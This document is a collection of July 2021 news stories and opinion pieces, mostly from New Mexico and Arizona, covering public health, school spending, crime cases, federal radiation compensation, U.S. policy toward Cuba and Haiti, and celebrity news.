The surgeon generals trip to New Mexico, his first official travel since being reappointed to the job by President Joe Biden, came at the invitation of Gov. Michelle Lujan Grisham.

After arriving in New Mexico, Murthy spent Tuesday meeting with youth leaders at the governors official residence in Santa Fe and attending a Lujan Grisham administration Cabinet meeting.

He told the Journal he came to New Mexico in part to thank public health workers for their work during the COVID-19 pandemic, but also to remind state leaders to be vigilant about the invisible burden on many frontline workers.

Weve got to really focus in on mental health in this next phase of the pandemic response and recognize that this is part of the broader recovery we do, Murthy said in an interview.

Specifically, he cited a study that said more than half of the nations health care workers are dealing with anxiety, depression or suicidal thoughts, while many doctors are struggling with burnout.

On a broader level, New Mexico officials have also voiced concern about the potential for a pandemic-related behavioral health crisis as the state already has high rates of substance abuse and suicide deaths.

Meanwhile, Murthys visit came as New Mexicos COVID-19 infection rate has dropped to its lowest rate since April 2020 and the states death rate from the virus is significantly lower than its mid-December peak.

However, the virus has not been fully snuffed out in New Mexico  or in other states  and the states death toll increased to 4,359 on Tuesday, with health officials reporting the death of an Otero County woman.

We know this fight isnt over, said Murthy, who was also U.S. surgeon general under former President Barack Obama and is vice admiral of the U.S. Public Health Service Commissioned Corps, a uniformed group of roughly 6,700 public health officers that can be deployed in emergency situations.

But he said New Mexico is better positioned than states with lower COVID-19 vaccine rates, which have seen a recent spike in cases due to the Delta variant of the virus.

New Mexico has one of the highest COVID-19 vaccination rates, with 71.7% of state residents 18 and older having gotten at least one shot and 63.6% of adults having received all recommended doses.

The only states with higher vaccine administration rates per capita are Maryland, Massachusetts, Hawaii, Vermont, Connecticut, Rhode Island and Maine, according to the U.S. Centers for Disease Control and Prevention.

While Murthy said theres more work to do to convince skeptical individuals to get vaccinated and confront misinformation, he lauded New Mexicos efforts.

I came not just to thank you, but to learn, he said at one point during Tuesdays event.

As Americas doctor, Murthy plays a key role in conveying public health information to the public and has been a co-chairman of Bidens COVID-19 task force.

The son of immigrants from India, Murthy also spoke Tuesday about the medical clinic his parents ran in Miami after arriving in the United States.

He said many health care workers have had to endure shouts and even death threats for the work theyve done during the pandemic.

Nobody in the public will ever know the full extent of what you had to deal with, he told those honored at the event, which was held at a downtown Santa Fe museum.

We have been hurt in many ways by this pandemic. It has injured us in ways seen and unseen, Murthy added. But that doesnt mean we cant grow back stronger.
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With all of our students needs, does anyone believe $14 million of employee retention bonuses will help the kids in Albuquerque Public Schools?

Internet connectivity problems and Wi-Fi dead spots  $14 million could have helped with that in the metro area.

One-on-one tutoring, beefed-up staffing, smaller class sizes, a take-home computer with online access  those things could make a meaningful difference in a state where three out of four students cant read or do math at grade level.

Fourteen million dollars could have played a role in helping the district meet its constitutional obligation to provide a sufficient education to all students, especially students considered at risk, and especially considering the court ruling that New Mexico is falling far short in that department.

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But what educational outcome will be improved by giving every full-time APS employee, save one, $1,000 and every part-time APS worker $500?

Yes, our K-12 public school employees faced multiple challenges through the pandemic and were asked to rise to an insurmountable task of delivering quality education in an unprecedented remote setup. And, yes, many put in extra hours and had to learn new skills.

They also got paid, unlike tens of thousands of New Mexicans who had their jobs put on hold for the better part of a year. APS employees  unlike many of their students parents  were not spending hours, days, weeks, months trying to get through to the state to file for unemployment.

And, yet, the APS administration has decided to essentially throw money out of an airplane next month to employees on the ground, excluding just one, Superintendent Scott Elder. Elder apparently wanted to reward employees for what they went through the past 16 months  an admirable goal. But is that the best way to spend the $14 million a school district spokeswoman says is needed to cover the bonuses?

Elder says the bonuses were made possible by the American Rescue Plan and its loosened restrictions on stimulus spending. APS received more than $104 million through the Coronavirus Response and Relief Supplemental Appropriations Act, and much went to programs aimed at helping students. But wouldnt it have made more sense to use the $14 million to further boost those programs?

In May, APS promised employees a one-time additional payment for COVID-related work, paid during the end of teachers annual contract for the 2020-21 school year. But Elder soon backtracked after the Auditors Office raised concerns.

The state Constitutions anti-donation clause prevents public employees from being paid additional compensation for work theyve already done and been paid for. So, after some accounting sleight of hand and a nod from state Auditor Brian Colon, APS now plans to send out the money Aug. 20.

Elder says the stipends will help APS retain teachers amid a national hiring crunch: If we can hold on to our highly qualified employees, well be in a much better position.

But few, if any, APS employee missed a paycheck due to the pandemic. Those who get the bonuses next month likely have already decided to return for the 2021-22 school year. To use the money for attracting teachers in hard-to-fill slots would have made more sense.

Are payments to everyone  this includes central office administrators  the best use of this money? Hardly.

APS could do more with it to further address the many educational challenges posed by COVID restrictions. Instead, our largest school district plans to open the plane doors and carpet bomb cash on employees. Parents and taxpayers can only hope theres some collateral benefit for the kids.

This editorial first appeared in the Albuquerque Journal. It was written by members of the editorial board and is unsigned as it represents the opinion of the newspaper rather than the writers.
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Copyright  2021 Albuquerque Journal

A former police academy cadet who alleges she was harassed and forced to resign in part because she is Asian American is asking a court to reinstate her job with the Albuquerque Police Department.

Nan Zhang, 41, alleges in the suit that she was mocked and ridiculed and called racial epithets by APD personnel because of her Chinese accent, gender and age.

APD personnel referred to the Chinese-born woman as Cadet COVID in early 2020 as the pandemic was taking hold in the U.S., according to the lawsuit filed earlier this month in 2nd Judicial District Court.

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The lawsuit, filed against the City of Albuquerque, asks for Zhangs reinstatement to a position within APD, either as a sworn officer or a civilian employee, to serve as a representative to Albuquerques Asian American community. It also seeks unspecified monetary damages.

Mayor Tim Kellers office responded that Zhangs allegations have been rejected by an independent investigation and a state Department of Workforce Solutions review.

Two separate, external investigations failed to substantiate these claims of harassment and discrimination at the APD Academy, Kellers office said in a written statement Tuesday.

A naturalized U.S. citizen, Zhang immigrated to the United States from China in 2006. English is her second language to her native Chinese.

Zhang contends she was held to heightened scrutiny and demands beyond those of other cadets in her class, according to the lawsuit.

The discriminatory actions led her to believe she had no choice but to resign from the police academy in March 2020, she alleges in the suit.

Zhang also is appealing an April 8 determination by the state Department of Workforce Solutions that found no probable cause to believe that APD discriminated against her.

She filed a complaint in June 2020 with the agencys Human Rights Bureau, which has the authority to investigate allegations of discrimination based on sex and national origin.

Zhangs allegations were among two dozen complaints from cadets and former employees at the police academy that emerged in early 2020, resulting in a wide-ranging investigation by the law firm German Burnette and Associates. The city paid the law firm $214,498 for the firms 166-page report.

The report found little support for most of the allegations against APD. It also concluded that APD did not discriminate against Zhang.

However, APD fired former police academy Cmdr. Angela Byrd on Oct. 30 based on the reports finding that she took retaliatory actions against an officer.
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Copyright  2021 Albuquerque Journal

SANTA FE  After nine years, Cindy Riveras family is finally getting answers about what led to her 2012 disappearance in Las Vegas.

New Mexico State Police now say Rivera, who was 19 years old at the time, was kidnapped and killed by her ex-husband, Christopher Trujillo, with the help of his cousin Anselmo Chemo Ortiz.

Ortiz, 37, of Serafina, was charged with kidnapping and conspiracy to commit kidnapping on July 9. He currently has a warrant out for his arrest and is considered dangerous, State Police say. Trujillo died by suicide in May and had incriminating recordings on his phone in which he admitted to killing Rivera with Ortizs help, according to the arrest warrant affidavit filed in Ortizs case.

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Based on the evidence, including statements made by Christopher Trujillo prior to his death, Cindy Rivera is believed to have been kidnapped and killed by Christopher Trujillo and Anselmo Chemo Ortiz, State Police spokesman Dusty Francisco said in an email. Her remains have still not been located.

Francisco said State Police is actively searching for Ortiz, and anyone with information is asked to call State Police at 505-425-6771 option 0.

Around 1 a.m. June 30, 2012, Riveras mother received a phone call from her saying, Mom, guess whos here, Christopher, theyre drunk. The warrant stated Trujillo was threatening Rivera because he thought she helped get his wife arrested.

Trujillo and Ortiz allegedly showed up at Riveras residence, locked her young son in a bathroom, and abducted her, according to the warrant. Police found evidence of a struggle, including blood spots leading from the residence, and Riveras house slippers in two locations outside.

Cellphone towers also placed the three together in the early morning hours of June 30, according to the warrant. Later that day, Ortiz and Trujillos cousin noticed scratch and bite marks on their arms and chest.

The investigation stalled after Ortiz was arrested in July 2012 on drug charges. After he was released from prison in 2019, he began to work with Trujillo, but their relationship began to deteriorate.

Ortiz and Trujillo started threatening each other with speaking to police about Rivera. When Ortiz was arrested on a drunken driving charge Jan. 10, he asked to speak with police about Riveras disappearance but never conducted a formal interview.

Ortiz also messaged Riveras aunt on Facebook and said he can help give her answers if he was protected from prosecution, according to the warrant.

After Trujillos death in May, officers got a search warrant for his phone and found a recorded conversation with his wife, and he allegedly told her, I killed my ex-wife, Cindy Rivera and buried her in the national forest. Im going to tell them, Chemo (Ortiz) killed her and buried her.
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This time next July we are going to lose a key federal program, and you hardly even hear about it. The Radiation Exposure Compensation Act (RECA) will come to an end on July 11, 2022. We need our elected representatives in Congress to extend and expand that program before it runs out.

Congress first passed RECA in 1990. The idea was to help cover health costs for many of the communities exposed to nuclear radiation through U.S. nuclear weapons programs. Those programs began in the 1940s, most notably here in New Mexico with the first nuclear test in 1945. Above-ground nuclear tests would continue until 1962, and to support the thousands of new nuclear weapons being built an expansive uranium mining and processing program began in our state and elsewhere.

RECA provides a one-time benefit payment to people who have likely developed cancer or other specified diseases after exposure to radiation from this nuclear project. That exposure could have come through uranium mining, milling or transport, or from radioactive fallout from atomic weapons testing in certain areas of Utah, Nevada and Arizona.

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The program was expanded by law in 2000. Now it offers compensation to some additional groups of uranium workers and civilians who were also exposed to radiation. But not everyone. Uranium workers after 1971 were not included.

Most of the uranium mining production happened after 1971, yet most uranium workers have been excluded from RECA. There were no safety improvements for miners.

Recent research conducted at the University of New Mexico Health Sciences Center suggests there are no differences in exposure and illnesses between the pre-1971 uranium workers and the post-71 uranium workers. All uranium workers should be compensated for their illnesses due to radiation exposure.

We need New Mexicos congressional representatives and Sens. (Ben Ray) Lujan and (Martin) Heinrich to end that arbitrary distinction and extend the program so everyone can benefit from it. Broadly this looks like:

 Extending RECA for an additional 23 years, through 2045;

 Increasing compensation for all claimants to $150,000;

 Expanding eligibility to all uranium workers who were active from 1972-1990;

 Expanding the geographical eligibility for compensation for exposure to atmospheric atomic testing to cover all of New Mexico, Arizona, Colorado, Idaho, Montana, Nevada and Utah;

 Expanding the geographical eligibility to cover persons present in Guam during atmospheric testing in the Pacific and making veterans who participated in the cleanup of Enewetak Atoll eligible for compensation.

We cannot roll back the clock on what happened. But we can prevent it from happening again and take care of those who were most affected. If we dont, we are dishonoring their sacrifices and abandoning them.
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Much concern is being generated over the metro areas ugly increase in homicides this year, an increase that has propelled the publics concern over crime to the top of polling about issues Albuquerque voters most worry about. And the usual answer is to hire more  or differently trained  police officers.

I suggest, however, that examining the recurring patterns in the sky-rocketing number of murders in our community will show that more officers would not have had much effect and that there are better ways to use public money to achieve the desired downturn in the citys homicide rate.

One such pattern is the scenario in which a drug deal in an out-of-the-way spot in the wee hours of the morning goes bad and either the seller or the buyer  sometimes both  are shot in the ensuing melee. A second pattern is an argument among a group  in a park or at a party  where guns and alcohol and/or drugs make for an instantaneous explosion of violence. I would wager over half of our 2021 killings would fit into one of those two scenarios.

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I cannot envision any public policy that would place police officers in parks 24/7 or in every possible out-of-the-way spot or private party in every location in the city. So the challenge is how to prevent those two situations from occurring with such frequency.

The obvious solution would be to eliminate firearms from our community. New Zealand did it, and the murder rate dropped like a stone.

Thats an approach for the future. For now, I will bring up two other, far more achievable policies Albuquerque should adopt if were serious about cutting the homicide rate.

The first is to invest in youth development programs. Most violence occurs among males under age 30. For young men out of school, ungraduated and out of work  during the pandemic the unemployment rate for that group was probably 50%  idle time, hormonal surging and despair over the future make for explosive conditions.

Providing programs to employ them as paid apprentices in construction trades, culinary arts, environmental restoration, music, auto mechanics and similar fields would channel their energies into productive activity and pay dividends for the community as well.

There are many models for such programs around the country. Albuquerque choosing to seriously invest in its currently problematic youthful population is a dream many of us have long harbored. It is not too late.

The second approach I would like to urge is to get real about how badly drugs have damaged our city.

Our drug addiction epidemic is part of the violence-generating picture in Albuquerque. I think it is time to try an approach that has succeeded in other countries, if we want to be effective in reducing drug-related property crime and the violence it feeds.

The city, state and UNM should develop a safe injection program. Addicts would be provided their monitored and safe dosages of heroin or an equivalent. They would not have to hustle or steal to maintain. The number of drug deals gone bad would dramatically drop. Dealers would slowly be put out of business. And the homicide rate would go down.

Simply adding more police officers is the easy answer  and one that has proven chimerical and expensive.

We should substitute reality-based solutions, which cost no more in public expenditures than constantly recruiting, training and equipping an ever-rotating crop of new police officers, for that mirage.

Journal file

Police investigate after a woman was fatally shot in Southwest Albuquerque in 2020.
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Santa Fe police say a 2-year-old child was struck by a vehicle on Tuesday afternoon and later died after being airlifted to an Albuquerque hospital.

Officers were dispatched to the scene, in the area of Acequia Lane and Vuelta de Las Acequias in Santa Fe shortly before 4 p.m.

Investigators learned the 2-year-old child followed a family member out of a residence unnoticed, the Santa Fe Police Department said on its Facebook page. As the family member pulled out of their driveway the child was struck by the vehicle.

Police said the child was initially transported to Christus St. Vincent Regional Medical Center and subsequently airlifted to University of New Mexico Hospital. Investigators were notified that the child died shortly before 7 p.m.

The post does not say whether the child was a boy or a girl.

Police say that neither speed nor driver impairment were factors in the incident, although the case remains under investigation.

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WASHINGTON  They are two tiny Caribbean states whose intractable problems have vexed U.S. presidents for decades. Now, Haiti and Cuba are suddenly posing a growing challenge for President Joe Biden that could have political ramifications for him in the battleground state of Florida.

Cuban demonstrators have taken to the countrys streets in recent days to lash out at the communist government and protest food shortages and high prices amid the coronavirus pandemic. In Haiti, officials are asking the U.S. to intercede in a roiling political crisis after last weeks assassination of President Jovenel Moise in a nation where military and humanitarian interventions by U.S. presidents from Woodrow Wilson to Barack Obama have proved to be politically harrowing.

Biden is facing increased pressure from Republican lawmakers for his administration to step up support of Cuban demonstrators. And his aides have demonstrated determined caution in response to requests for more U.S. involvement in Haiti.

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The administration has come under fire from both sides of the political spectrum for its responses to each of the crises, both unfolding less than two hours flying time from Miami. The troubled U.S. history in both countries has hardened positions, making virtually any policy decision politically unpalatable for a president seeking to toe a middle line.

In the background: How the Biden administration handles the crises looms large in electorally rich Florida.

Biden lost the state in 2020 to Donald Trump, as Republicans improved their performance while paying special attention to courting the states large Cuban American population and other immigrant voters, noted Susan MacManus, a Florida political analyst and professor emerita at the University of South Florida.

The caution Biden is showing reflects the poor showing in 2020 and a desire not to repeat it, said MacManus, who added that Haitian Americans are becoming a growing political force in South Florida. Democrats learned in 2020 that country of origin is a much more powerful voting cue in Florida than historical voting affiliation, and Trumps hammering on socialism proved to be an effective message.

Indeed, as the situations play out in Cuba and Haiti, Biden administration officials have responded cautiously.

The White House on Sunday dispatched representatives from the Justice Department, the Department of Homeland Security and the White House National Security Council to meet with Haitis interim Prime Minister Claude Joseph, designated Prime Minister Ariel Henry and Joseph Lambert, the head of its dismantled Senate, whom supporters have named as provisional president in a challenge to Joseph.

White House officials said Haitis request for the U.S. to deploy troops was under review. At the State Department, spokesman Ned Price said Tuesday he was not aware that the administration had rejected any request from Haitian officials but said the focus was on supporting the investigation into the assassination rather than providing military assistance.

U.S. officials have also made clear that the administration remains concerned about the infighting over who is rightfully Moises successor in Haiti.

The White House is coordinating with Joseph in his capacity as acting prime minister, but is urging Haitian officials to work together to hold legislative and presidential elections as soon as feasibly possible.

Meanwhile, the White House said a review of its Cuba policy remains underway.

To be sure, U.S. efforts to press for regime change have had their fair share of failures over the years: the 1961 Bay of Pigs invasion, CIA-backed assassination attempts on Cuban leader Fidel Castro, and sanctions that inflicted pain but never produced the ultimate goal of ending communist rule.

Were going to be taking a close look at what has and has not worked in the past, and unfortunately in the case of Cuba, there may be more that has not worked than what has worked, Price said.

This week, Cuban police have been out in force as President Miguel Diaz-Canel has accused Cuban Americans of using social media to spur a rare outpouring of weekend protests. The demonstrations in several cities and towns were some of the biggest displays of antigovernment sentiment seen in years in tightly controlled Cuba, which is facing a surge of coronavirus cases as it struggles with its worst economic crisis in decades.

There are political crosscurrents for Biden as he addresses both situations.

On Cuba, the political right in the U.S. has accused Biden  who said as a presidential candidate that he would revert to Obama-era policies that loosened decades of embargo restrictions on Havana  of not being supportive enough of Cuban dissidents.

Democrats, meanwhile, are unhappy that Biden has yet to reverse Trumps hard-line approach to the islands communist government as his administration carries out its review of Cuban policy.

Trump in a statement criticized Bidens past promises to loosen restrictions on Cuba.

Dont forget that Biden and the Democrats campaigned on reversing my very tough stance on Cuba, Trump said.

Florida Republicans Sen. Marco Rubio and Rep. Carlos Gimenez, a freshman lawmaker who represents a Miami district that Democrats are hoping to flip in next years midterm election, were among elected officials this week who called on the administration to maintain Trumps Cuba policy.

They also called on Biden to aid the protesters, including by making free satellite internet access available on the island to subvert the Cuban governments effort to stop activists from broadcasting their messages on social media to the world.

Gimenez said in an interview that simply maintaining the status quo is not enough at a moment when the island is seeing some of the most intense protests in more than 60 years  what Biden himself referred to as a clarion call for freedom.

Biden lost Florida by about double the margin by which Trump beat Democrat Hillary Clinton there in 2016.

Trump was helped in part by narrowing the Democrats margin of victory in population-rich Miami-Dade County by nearly 13 percentage points. Gimenez and another freshman lawmaker of Cuban descent, Maria Elvira Salazar, picked up Democratic-held seats as Trump and Republicans focused on courting Cuban Americans, an important voting bloc in the state.

The majority of Cubans in Florida supported Trump over Biden, 58% to 41%, according to AP VoteCast. The margin was nearly reversed among other Hispanic voters in the state, who were more likely to support Biden than Trump, 59% to 40%.

Biden is no fool, said Gimenez. Its not just the Cuba issue, its the whole issue of socialism and communism and censorship thats shifted the people of Miami-Dade over to the right. The problem that the president has is the extreme parts of his own party seem to be driving the agenda, and that he just cant escape right now.

White House spokesman Chris Meagher said Biden, dating back to his days in the Senate, has been a fierce critic of the Castro regime and is committed to Cuban human rights.

Hes committed to forming his policies toward Cuba based on two principles: that standing up for democracy and human rights is paramount, and that Americans  especially Cuban Americans  are the best ambassadors for freedom and prosperity in Cuba, Meagher said.

Carlos Diaz-Rosillo, who served as a director of policy and interagency coordination in the Trump White House, said the situations in Cuba and Haiti offer Biden a chance to demonstrate his oft-repeated dictum that democracies can better service their people than autocracies as well as his preference for multilateral efforts to address big global problems.

This is an administration that says that they believe in international organizations and that they believe in these multilateral bodies. If thats the case, get our allies in the hemisphere together  and see how they can rally others to help out, Diaz-Rosillo said.

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Madhani reported from Chicago. Associated Press writer Hannah Fingerhut contributed to this report.

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This story has been corrected to show Biden lost Florida to Trump in 2020, not 2016.
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PHOENIX  A woman who acknowledged helping a former Arizona politician in an illegal adoption scheme involving women from the Marshall Islands was sentenced to two years in prison Tuesday.

Lynwood Jennet, 47, took part in submitting false applications for the birth mothers to receive state-funded health coverage, even though none of the women resided in the state. She had pleaded guilty to conspiracy and theft charges for her role at the direction of Paul Petersen, a Republican who served as Maricopa County assessor for six years.

Petersen worked as an adoption attorney before resigning his elected post and pleading guilty in three states to crimes related to to the scheme. The health care fraud committed by Petersen and Jennet totaled $814,000, authorities said.

Petersen is in prison serving a total of 11 years for a conviction in Arkansas for conspiring to commit human smuggling and a health care fraud conviction in Arizona.

Additionally, Petersen was sentenced to one to 15 years in prison in Utah for a human smuggling conviction. The Utah sentence, which leaves it up to the states parole board to decide how long a person actually serves, is to be served concurrently, meaning Petersen could be done with his Utah sentence by the time he completes his other sentences, or have up to four more years.

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Authorities say Petersen illegally paid women from the Marshall Islands to come to the United States to give up their babies in at least 70 adoption cases over three years. Citizens of the Marshall Islands have been prohibited from traveling to the U.S. for adoption purposes since 2003.

Jennet was accused of serving as a point of contact for people in the Marshall Islands who looked for pregnant women interested in coming to the United States to give up their children for adoption. Investigators have said Jennet relayed information about birth mothers to Petersen, who bought the women passports and plane tickets to Phoenix.

Her attorney said Jennet, a native of the Marshall Islands, cooperated with investigators.
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PHOENIX  Arizona Gov. Doug Ducey on Wednesday announced hes using $101.1 million of federal relief funding to launch a new program to encourage more tourism spending in the state and help the hospitality industry recover from the pandemic.

The Visit Arizona Initiative will use the American Rescue Plan money to help the tourism sector of the states economy to prosper and continue to recover from the effects of the pandemic, Doug said in a statement.

When visitors from across the globe travel to our great state, they stay in our hotels, eat at our restaurants, buy our products and enjoy our recreational activities, he said.

Examples of planned funding uses include destination and travel marketing, local programs and events, state park improvements, Arizona State Fair marketing and a workplace initiative for the hospitality industry, Duceys statement said.

Duceys move to bolster the tourism industry followed his announcement Monday that he was tapping federal cash from the Biden administrations American Rescue Plan to refill the state unemployment insurance trust fund.

Duceys deposit of $759 million from the $4.8 billion Arizona received through the American Rescue Plan was the first time the governor has used any of the money appropriated by Congress in March.

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Copyright  2021 Albuquerque Journal

An FBI agent was wounded and a man was killed in a shooting Wednesday as authorities served a search warrant at a strip mall in Northeast Albuquerque.

FBI spokesman Frank Fisher said the agent, whose bulletproof vest was struck by gunfire, is doing OK and expected to survive. The suspect was pronounced dead at the scene.

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Fisher did not identify the agent or the man who was killed, and he would not say whether any other suspects were detained or involved.

Because this is an ongoing investigation, there are very few details I can provide at this time, Fisher said. Like all FBI shootings, this one will be thoroughly investigated.

Ursula Floyd identified the man slain as her son, 31-year-old Marquez Floyd, a father of three.

Right now, Im just so lost. This is just so overwhelming, she said. I really cant believe my babys gone.

Fisher said FBI agents and task force officers were serving multiple search warrants around 11 a.m. at a strip mall near Northeastern and Wyoming NE when the incident occurred.

Fisher would not say if the warrants  which were related to a violent crime investigation  were being served at a business or elsewhere.

He said when agents tried to make an arrest, a shooting ensued with a suspect in the alleyway behind the strip mall.

I will say, unfortunately, we do have experience with these sort of shootings. They seem to be happening more often lately, Fisher said. We wish they didnt, but we are developing an expertise and the public can rest assured we will leave no stone unturned.

Albuquerque police have almost been shot twice over the past 10 days  on July 5, when a man who stole a bait car fired at pursuing officers, and last Saturday, when an officer responding to a call had gunfire strike his windshield, injuring him with shattered glass.

Last December, an FBI agent was grazed by a bullet when a man fired at authorities through his front door as they tried to serve a search warrant.

So unbelievable

Ursula Floyd said her daughter called her son moments before the bullets flew.

She called him and he was like theyre about to pull me over and she heard them say FBI and then she heard shooting, she said. Afterward, the line went dead.

In the hours that followed, Floyd said authorities came to the home her son shared with his sister and searched it.

The house is a mess; I dont know too much more information after that, she said. Floyd said she doesnt think they seized anything from the home.

She said her son had been in trouble before, but served his time and moved on.

Court records show Marquez Floyd pleaded guilty to armed robbery and aggravated battery with a deadly weapon in 2010 after being accused of stealing a mans phone and gold necklace, and hitting him with a gun. He was sentenced to four years and was released from probation in 2019.

Ursula Floyd said her son, a jokester and one of three siblings, grew up in Clovis and settled down in Albuquerque in 2015. She said he started his own kennel in 2016 and bred American bullies, participating in dog shows and making music in a studio on the side.

Ursula Floyd said her daughter called her son moments before the bullets flew.

He loved his music and his dog and his babies, she said, adding that her son had a 4-year-old son and 2-year-old twins.

He was very loving, Floyd said. He always tried to take care of everybody, put everyone before himself.

She said she spoke with her son Monday night and everything was fine. Floyd said her son had carried a gun for protection in the past but she cant imagine him firing one at authorities.

She said she has tried to get answers on what happened with no luck.

Im so  this is just so unbelievable right now, she said, choking up. Just trying to soak everything in, its just still unbelievable.

Really big guns

Numerous FBI agents and Bernalillo County Sheriffs deputies in tactical vests could be seen Wednesday afternoon crowding the parking lot and streets around the strip mall south of a Walmart.

The area was crisscrossed with crime scene tape and authorities were most concentrated behind the strip mall where the tape blocked the alleyway and state police and BCSO mobile crime labs idled as investigators walked the scene.

Irma Herrera, a nearby neighbor, spoke with another woman across the street as the two watched the investigation unfold.

Herrera said she was inside her apartment watching TV when she heard several loud pops.

I thought, What the heck was that?  she said. They sounded like really big guns.

Herrera said she then heard multiple people yelling get down over and over. When she went outside, she said she saw at least 10 agents and deputies with long rifles walking down the alleyway behind the cash store.

Herrera said ambulances and firefighters arrived shortly after but then left without taking anyone.

I didnt see them pull anybody out, she said.
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ALBUQUERQUE, N.M.  The Public Regulation Commission voted unanimously on Wednesday to open an official inquiry into why a cooling tower collapsed on June 30 at the coal-fired San Juan Generating Station.

Public Service Company of New Mexico executives told commissioners at the PRCs weekly public meeting Wednesday that the plants insurance provider and independent engineers and contractors are actively investigating the root cause of the collapse, but the reasons it fell remain a mystery for now.

Investigators are carefully examining debris from the tower to help determine what caused the incident, PNM Senior Vice President for Public Policy Ron Darnell told commissioners. But in the meantime, PNM plans to install a temporary cooling tower rented from third-party providers to re-start the unit 1 generator that was connected to the tower.

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Were preparing for a rented (cooling) unit to be installed later this month, Darnell told commissioners. Rental towers are available and we believe well be back online within the next few weeks.

The tower collapse did force PNM to purchase some electricity on the wholesale power market, and it may need to buy more while unit 1 remains offline, Darnell said. But the plants unit 4 generator  the only other operating unit at San Juan after the company permanently shut down units 2 and 3 in 2017  is back online, following a brief scheduled pause for maintenance that coincided with the accident at unit 1.

Given that unit 4 was already offline when the June 30 incident occurred, the company conducted a separate investigation on that unit to ensure its integrity before bringing it back into operation, Darnell said. And between wholesale power purchases and unit 4 now back online, PNM is able to meet all customer electricity demand, despite the heat wave impacting western states.

Customers have not been impacted one iota, Darnell said.

Until now, PNM had avoided any detailed public discussion about the June 30 accident. That generated criticism from commissioners.

I learned about it in the news nine days after the collapse happened, Commissioner Cynthia Hall said.

Commissioner Joe Maestas said the PRC received a huge number of calls from citizens concerned about whether there would be enough available electricity in the midst of a heat wave.

In the absence of information, imaginations run wild, Maestas said.

PNM Executive Director for Regulatory Policy Mark Fenton said the company routinely informs commissioners about power outages, but not operational issues that dont affect grid reliability. In addition, the company was concerned that releasing details about the tower collapse might encourage price gouging by wholesale suppliers.

Nevertheless, to ensure a full public accounting of the tower collapse, commissioners voted 5-0 to open an official PRC docket to gather all results from accident investigations and to analyze potential impacts on consumer bills going forward.
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ALBUQUERQUE, N.M.  Some of Albuquerques most prominent leaders paid their respects to Cheryl Willman, director and CEO of the University of New Mexicos Comprehensive Cancer Center, as she begins her transition into a new role at the prestigious Minnesota-based Mayo Clinic.

During an event hosted by the Economic Forum of Albuquerque Wednesday morning, New Mexico politicians and business leaders ranging from Albuquerque Mayor Tim Keller to Roberta Ramo, the first female president of the American Bar Association, highlighted Willmans accomplishments and her impact on the city and state.

What Cheryl Willman has accomplished for the university and for our community really is nothing short of spectacular, said Albuquerque advertising executive and longtime friend Debbie Johnson.

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In May, Willman accepted an offer to become the executive director of Mayo Clinic Cancer Programs and director of the Mayo Clinic Comprehensive Cancer Center. Willman said the new position will take her all over the country, but she plans to maintain roots in New Mexico.

There is so much potential here, its incredible, Willman said. People just need to come here and see it.

Willman served as the leader of UNMs Comprehensive Cancer Center for more than two decades, building the cancer center into one of the most prominent in the nation. Under her leadership, the cancer center became one of the nations preeminent National Cancer Institute-designated Comprehensive Cancer Centers, a designation reserved for the top 3% of cancer centers in the country, according to UNM. During the event, Ramo, who is also a lawyer with Modrall Sperling, praised Willman for developing a center that can be a point of pride for New Mexicans.

In New Mexico, we have too few people who believe that New Mexico deserves  world-class institutions, Ramo said.

Keller added that the cancer center is the number-one thing he brags about when speaking with representatives from other cities.

It does so much more than just (saving) tens of thousands of lives, Keller said. It actually lifts up our entire city.

With that in mind, Keller declared that July 14 will be officially recognized in Albuquerque as a celebration of Willmans impact on the community.

Behind her effect on the city as a whole, Willman has impacted many Albuquerque residents individually. During the event, Johnson, who serves as executive marketing director for Albuquerque Publishing Co., spoke passionately about how Willman helped her husband after he was told he had 90 days to live. With Willmans assistance, Johnson said her husband was able to live another three years.

I will always be grateful for that, Johnson said, fighting back tears. And its so meaningful, because I know Im not the only one.
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The 'Transformers' actress claims she experienced hellish hallucinations when taking part in a spiritual ritual with boyfriend Machine Gun Kelly during a South American trip.

Jul 14, 2021

AceShowbiz - Megan Fox "went to Hell for eternity" after drinking ayahuasca - a South American psychoactive brew which is illegal in the U.S. and U.K. and other countries.



The "Till Death" actress and her boyfriend Machine Gun Kelly took part in a spiritual ritual with the tea that induces auditory and visual hallucinations - which is used both socially and ceremonially among the indigenous peoples of the Amazon basin - on a trip to Costa Rica.



And she explained the setting was nothing like she'd expected in order to make people "surrender to the experience."

Speaking to guest host Arsenio Hall on "Jimmy Kimmel Live!", she said, "So we went to Costa Rica to do ayahuasca in, like, a proper setting, with indigenous people. So I was thinking it was like glamping, like it was gonna be some kind of five-star experience."

"But you get there and you really are in the middle of the jungle, and you don't get to eat after like 1 p.m. You have to walk a very far distance to get your water, and you can't shower because they're in a drought. There was nothing glamorous about it, and it's all a part of making you vulnerable, so you sort of surrender to the experience."

The ceremony began with the group having to "vomit everything" out of their bodies.

"You all line up at the edge of the rainforest, over this weird fence, and you go three by three and you drink lemongrass tea until you, not by your own volition, just vomit everything out of your body," she explained. "And you have to vomit a certain amount until they let you get back with everyone else, so you're like cheering on everyone as they throw up."

Although the couple had reservations about being sick in front of "20 strangers" at first, it ultimately proved to be "such a good bonding experience" as it got them "ready to go into the ceremony that night" because they lost all vanity.

The ceremony itself lasted three days and was "incredibly intense."

"Everybody's journey is different, but on the second night I went to Hell for eternity," Megan said. "Just knowing it's eternity is torture in itself, because there's no beginning, middle or end. So you have a real ego death."

But the 35-year-old beauty insisted the ritual was able to help in a way that "surpasses talk therapy or hypnotherapy."

"It just goes straight into your soul, and it takes you to the psychological prison that you hold yourself in," she added. "So it's your own version of hell, and I was definitely there."
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Britney has won support of officials at the American Civil Liberties Union amid conservatorships woes that involve members of her own family including her father Jamie Spears.

Jul 14, 2021

AceShowbiz - Officials at the American Civil Liberties Union (ACLU) have called on Britney Spears' conservatorship judge to "respect" her wish to appoint her own lawyer as she fights to end her 13-year nightmare.

The "Toxic" superstar has made it clear she wants out of the legal restrictions which have ruled her life and career ever since 2008, following her much-publicised mental health breakdown and, last month (Jun21), she insisted the "abusive" conservatorship was doing her more harm than good.

She has requested permission to hire her own lawyer after her longtime court-appointed representative, Samuel Ingham III, resigned from the case last week (ends09Jul21), and now ACLU bosses have backed her wish by filing an amicus brief to support her motion.

The notice, typically filed by someone not directly involved in the case to offer up information, expertise, or insight into the issues at hand, calls for Britney to also be provided with assistance needed to choose a suitable lawyer.

A statement released by staff attorney Zoe Brennan-Krohn on behalf of the ACLU's Disability Rights Project reads, "Britney Spears has said that she wants to pick her own lawyer and the court should respect that wish."

"The court should ensure Spears has access to the tools she needs to make that choice meaningfully and to hire someone she trusts to advocate for her stated goal: to get out of her conservatorship."

